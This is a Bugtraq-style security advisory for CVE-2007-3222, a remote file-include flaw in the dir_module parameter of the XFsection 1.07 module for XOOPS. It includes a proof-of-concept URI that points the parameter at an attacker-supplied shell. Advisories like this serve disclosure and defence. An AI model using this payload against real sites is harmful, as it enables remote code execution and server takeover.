Xoops XFsection Module Dir_Module Parameter Remote File Include Vulnerability

Bugtraq ID:	24465
Class:	Input Validation Error
CVE:	CVE-2007-3222
Remote:	Yes
Local:	No
Published:	Jun 13 2007 12:00AM
Updated:	May 07 2015 05:37PM
Credit:	Sp[L]o1T and George A. Theall are credited with the discovery of this vulnerability.
Vulnerable:	Xoops Xoops XFsection Module 1.07
Not Vulnerable:

Xoops XFsection Module Dir_Module Parameter Remote File Include Vulnerability

XFsection for XOOPS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

XFsection 1.07 is vulnerable; other versions may also be affected.

Xoops XFsection Module Dir_Module Parameter Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/modules/modules/xfsection/modify.php?dir_module=[shell]?

Xoops XFsection Module Dir_Module Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Xoops XFsection Module Dir_Module Parameter Remote File Include Vulnerability

References:

• XOOPS Homepage (XOOPS)